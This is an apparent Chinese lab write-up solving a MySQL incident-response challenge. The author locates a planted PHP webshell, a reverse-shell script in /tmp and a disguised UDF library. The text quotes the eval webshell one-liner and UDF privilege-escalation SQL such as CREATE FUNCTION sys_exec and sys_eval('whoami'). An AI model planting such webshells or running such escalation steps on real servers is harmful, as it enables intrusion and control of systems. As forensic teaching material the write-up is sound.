当前位置: 首页 > news >正文

玄机——第一章日志分析-mysql应急响应

第一章日志分析-mysql应急响应

步骤 #1

黑客第一次写入的shell flag{关键字符串}

find / -name "*.php" | xargs grep "eval("

在这里插入图片描述

查看文件sh.php的内容

root@xuanji:~# cd /var/www/html
root@xuanji:/var/www/html# cat sh.php
1       2       <?php @eval($_POST['a']);?>     4
//ccfda79e-7aa1-4275-bc26-a6189eb9a20b

flag为 flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

步骤 #2

黑客反弹shell的ip flag{ip}

查看定时任务,发现没有

查看日志文件

cd /var/log
ls

在这里插入图片描述

查看mysql文件夹的文件,发现了一个error日志

在这里插入图片描述

  • MySQL 错误日志(error.log)可能会记录相关的错误信息,比如加载 UDF 库失败的报错,像 Can't open shared library '/path/to/malicious_udf.so'
  • *若攻击者使用的 SQL 语句(如创建函数、调用函数执行命令)涉及到写操作,会被记录在二进制日志(binary log)中。
  • 若查询日志(general log)开启,那么创建 UDF 函数以及调用函数执行命令的 SQL 语句都会被记录下来,能直观看到攻击者的操作步骤。

查看error.log文件

cat error.log

发现了发生在临时文件/tmp的可疑信息,保存了一个文件1.sh

在这里插入图片描述

列出/tmp/1.sh文件的内容

在这里插入图片描述

则flag为 flag{192.168.100.13},成功

步骤 #3

黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

1.分析题目

提权文件,那么了解一般的提权攻击,参考学习了这篇文章 【玄机】第二章-日志分析-Mysql 应急响应

关于 Mysql 的提权方法有四种

UDF 提权
MOF 提权(Windows 下)
启动项提权(Windows 下)
CVE-2016-6663(MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17)

那么查看目前靶场MariaDB的版本

mysql -V

在这里插入图片描述

那么排除后三个,剩下的就是UDF提权了

UDF 执行系统命令

​ MySQL 允许用户通过 CREATE FUNCTION 语句创建自定义函数,这些函数可以调用系统库函数。攻击者上传恶意的 UDF 动态链接库文件到服务器,然后创建对应的自定义函数,通过调用该函数来执行系统命令。比如在 Linux 系统中,攻击者上传恶意的 .so 文件到 MySQL 的插件目录(由 plugin_dir 系统变量指定),并使用 SQL 语句创建函数,如 CREATE FUNCTION sys_exec RETURNS INTEGER SONAME’malicious_udf.so’; ,之后调用 SELECT sys_exec(‘whoami’); 就可以执行系统命令,若 MySQL 以高权限运行,攻击者就可能利用此方式获取系统的高权限。

UDF 的动态链接库文件放置于 /usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/

2.解题
方法一:

那就查看UDF的动态链接库

cd /usr/lib/mysql/plugin
ls -al

部分文件权限是 rw - rw - rw - (如 mysqludf.so、udf.so ),即所有用户都有读写权限。如果这些是 UDF 相关文件,存在较大风险,因为恶意用户可能篡改其内容,植入恶意代码,利用 UDF 执行系统命令等方式提权。正常情况下,这类文件应严格限制权限,至少让 mysql 用户可读写,其他用户仅能读或无权限。

在这里插入图片描述

查看两个文件的内容

发现这个udf.so的文件与步骤一找到的黑客写入的shell文件的内容近乎一样,而且udf.so 本应是 ELF 二进制文件(动态链接库),但实际内容是 PHP WebShell(<?php @eval($_POST['a']);?>),说明文件被恶意篡改或伪装。

在这里插入图片描述
在这里插入图片描述

通过伪装 UDF 文件植入了 WebShell,攻击者先通过漏洞写入 WebShell(sh.php),再尝试伪装成 UDF 文件(udf.so)绕过防护,意图长期控制服务器。利用 MySQL UDF 提权的名义,实际是混淆视听,本质是 Web 后门渗透。

那么提权文件的完整路径为/usr/lib/mysql/plugin/udf.so

那么在线网站MD5加密得到flag为 flag{B1818BDE4E310F3D23F1005185B973E7}

方法二:

看到有别的大佬的wp是检查数据库的信息,那么也来操作一下

首先要找的就是MySQL数据库的账号和密码

一般**/etc/mysql/my.cnf**中会保存着MySQL的登录密码,但是查找发现这里没有。

在这里插入图片描述

还有一个可找方向就是**/var/www/html目录下的common.php**文件。

Linux 系统的/var/www/html目录下,common.php是一个 PHP 脚本文件 ,通常在 Web 应用中承担着公共功能或配置相关的作用

配置文件
数据库连接配置:用于存储 Web 应用连接数据库(如 MySQL、PostgreSQL 等)的相关信息,包括数据库主机地址、用户名、密码、数据库名

查看/var/www/html/common.php文件,发现了数据库的账户和密码

在这里插入图片描述

登录数据库

mysql -uroot -p334cc35b3c704593

为了了解 MySQL 在文件操作安全、身份验证安全、时间戳安全等方面的配置情况,输入一下命令进行查询

show global variables like '%secure%';

在这里插入图片描述

secure_auth=OFF
允许低版本客户端用弱加密密码连接,若数据库用户密码简单,易被中间人攻击破解。

secure_file_priv 为空
是 MySQL 提权的典型高危配置!攻击者可利用 SELECT … INTO OUTFILE 写入恶意文件(如 WebShell),或通过 LOAD_FILE() 读取系统敏感数据。

那么这里就能明确的确定是UDF提权了

show variables like '%plugin%';		

查询与插件相关的配置变量,帮助你了解当前数据库支持哪些插件、插件目录位置以及插件加载状态。
在这里插入图片描述

plugin_dir

若该目录对普通用户或 Web 进程可写,攻击者可上传恶意 UDF 插件,通过 CREATE FUNCTION 加载后执行系统命令提权。确认是否存在未知 .so 文件

在这里插入图片描述

发现了过大权限的mysqludf.so和udf.so文件

查看文件内容发现udf.so文件的内容与步骤提黑客写入的shell文件内容一样,那么提权文件完整路径为/usr/lib/mysql/plugin/udf.so

步骤 #4

黑客获取的权限 flag{whoami后的值}

1、分析题目

首先whoami命令是目前正在登录的用户

2、解题

查看进程(进程中可以显示出用户名以及查看启动进程所使用的命令和参数)

ps -aux

在这里插入图片描述

那么用户名就是mysql ,即flag为 flag{mysql}

若需要进一步确定,那就查看数据库

提权的典型痕迹

.so 文件:
MySQL 日志
MySQL 函数表:mysql.func 表中是否有异常的 UDF 函数。

SELECT * FROM mysql.func;

在这里插入图片描述

再查询,得到mysql

select sys_eval('whoami');

参考文章

玄机——第二章日志分析-mysql应急响应 wp-CSDN博客

第一章日志分析-mysql应急响应 - 玄机

http://www.lryc.cn/news/581500.html

相关文章:

  • docker 无法拉取镜像解决方法
  • 系统架构设计师论文分享-论软件体系结构的演化
  • Apache Iceberg数据湖基础
  • 极简的神经网络反向传播例子
  • 探寻《答案之书》:在随机中寻找生活的指引
  • 5种高效解决Maven依赖冲突的方法
  • Golang读取ZIP压缩包并显示Gin静态html网站
  • c++对象池
  • 数据库|达梦DM数据库安装步骤
  • [论文阅读] 人工智能 + 软件工程 | 自然语言驱动结构代码搜索:突破DSL学习壁垒的创新方法
  • 分布式压测
  • python高级变量XIII
  • jenkins安装
  • 分布式事务解决方案(二)
  • 探索实现C++ STL容器适配器:优先队列priority_queue
  • react当中的this指向
  • (C++)学生管理系统(正式版)(map数组的应用)(string应用)(引用)(文件储存的应用)(C++教学)(C++项目)
  • .NET9 实现字符串拼接(StringConcatenation)性能测试
  • 深入探索 pnpm:高效磁盘利用与灵活的包管理解决方案
  • jmm,`as - if - serial` 与 `happens - before` 原则
  • 【一起来学AI大模型】算法核心:数组/哈希表/树/排序/动态规划(LeetCode精练)
  • OpenSearch 向量搜索与Qwen3-Embedding 集成示例
  • @Data、@AllArgsConstructor、@NoArgsConstructor不生效。lombok不起作用怎么解决?
  • Web前端开发-Vue
  • 多人协同开发时Git使用命令
  • 锁和事务的关系
  • 深入探索开源爬虫MediaCrawler,从入门到掌握多平台数据收集
  • HarmonyOS学习6 --- 数据存储
  • 9. 【Vue实战--孢子记账--Web 版开发】-- 账户账本管理(二)
  • MySQL CDC与Kafka整合指南:构建实时数据管道的完整方案